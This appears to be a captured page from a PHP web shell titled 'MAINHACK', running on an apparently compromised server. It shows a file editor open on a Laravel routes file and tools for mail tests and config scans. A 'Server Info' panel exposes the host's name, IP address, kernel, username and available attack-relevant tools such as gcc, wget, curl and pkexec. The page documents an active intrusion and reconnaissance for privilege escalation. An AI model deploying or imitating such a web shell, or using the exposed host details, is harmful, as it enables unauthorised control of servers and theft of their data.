[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: web.php
<?php use App\Models\PaymentType; use App\Http\Controllers as Web; use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Artisan; Route::get('/', [Web\WebController::class, 'index'])->name('home'); Route::resource('blogs', Web\BlogController::class)->only('index', 'show', 'store'); Route::get('/about-us', [Web\AboutController::class, 'index'])->name('about.index'); Route::get('/plans', [Web\PlanController::class, 'index'])->name('plan.index'); // Business Signup Route::get('/get-business-categories', [Web\AcnooBusinessController::class, 'getBusinessCategories'])->name('get-business-categories'); Route::post('/businesses', [Web\AcnooBusinessController::class, 'store'])->name('business.store'); Route::post('/verify-code', [Web\AcnooBusinessController::class, 'verifyCode'])->name('business.verify-code'); Route::get('/data-deletion', [Web\DataDeletionController::class, 'index'])->name('term.index'); Route::get('/terms-conditions', [Web\TermServiceController::class, 'index'])->name('term.index'); Route::get('/privacy-policy', [Web\PolicyController::class, 'index'])->name('policy.index'); Route::get('/contact-us', [Web\ContactController::class, 'index'])->name('contact.index'); Route::post('/contact/store', [Web\ContactController::class, 'store'])->name('contact.store'); // Payment Routes Start Route::get('/payments-gateways/{plan_id}/{business_id}', [Web\PaymentController::class, 'index'])->name('payments-gateways.index'); Route::post('/payments/{plan_id}/{gateway_id}', [Web\PaymentController::class, 'payment'])->name('payments-gateways.payment'); Route::get('/payment/success', [Web\PaymentController::class, 'success'])->name('payment.success'); Route::get('/payment/failed', [Web\PaymentController::class, 'failed'])->name('payment.failed'); Route::post('ssl-commerz/payment/success', [Web\PaymentController::class, 'sslCommerzSuccess']); Route::post('ssl-commerz/payment/failed', [Web\PaymentController::class, 'sslCommerzFailed']); Route::get('/order-status', [Web\PaymentController::class, 'orderStatus'])->name('order.status'); Route::group([ 'namespace' => 'App\Library', ], function () { Route::get('/payment/paypal', 'Paypal@status'); Route::get('/payment/mollie', 'Mollie@status'); Route::post('/payment/paystack', 'Paystack@status')->name('paystack.status'); Route::get('/paystack', 'Paystack@view')->name('paystack.view'); Route::get('/razorpay/payment', 'Razorpay@view')->name('razorpay.view'); Route::post('/razorpay/status', 'Razorpay@status'); Route::get('/mercadopago/pay', 'Mercado@status')->name('mercadopago.status'); Route::get('/payment/flutterwave', 'Flutterwave@status'); Route::get('/payment/thawani', 'Thawani@status'); Route::get('/payment/instamojo', 'Instamojo@status'); Route::get('/payment/toyyibpay', 'Toyyibpay@status'); Route::get('/manual/payment', 'CustomGateway@status')->name('manual.payment'); Route::get('payu/payment', 'Payu@view')->name('payu.view'); Route::post('/payu/status', 'Payu@status')->name('payu.status'); Route::post('/phonepe/status', 'PhonePe@status')->name('phonepe.status'); Route::post('/paytm/status', 'Paytm@status')->name('paytm.status'); Route::get('/tap-payment/status', 'TapPayment@status')->name('tap-payment.status'); }); // Payment Routes End Route::get('/cache-clear', function () { Artisan::call('cache:clear'); Artisan::call('config:clear'); Artisan::call('route:clear'); Artisan::call('view:clear'); return back()->with('success', __('Cache has been cleared.')); }); Route::get('/update', function () { Artisan::call('migrate'); if (!PaymentType::exists()) { Artisan::call('db:seed', ['--class' => 'PaymentTypeSeeder']); } if (file_exists(base_path('storage/installed'))) { touch(base_path('vendor/autoload1.php')); } Artisan::call('cache:clear'); Artisan::call('config:clear'); Artisan::call('route:clear'); Artisan::call('view:clear'); return redirect('/')->with('message', __('System updated successfully.')); }); require __DIR__.'/auth.php';
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002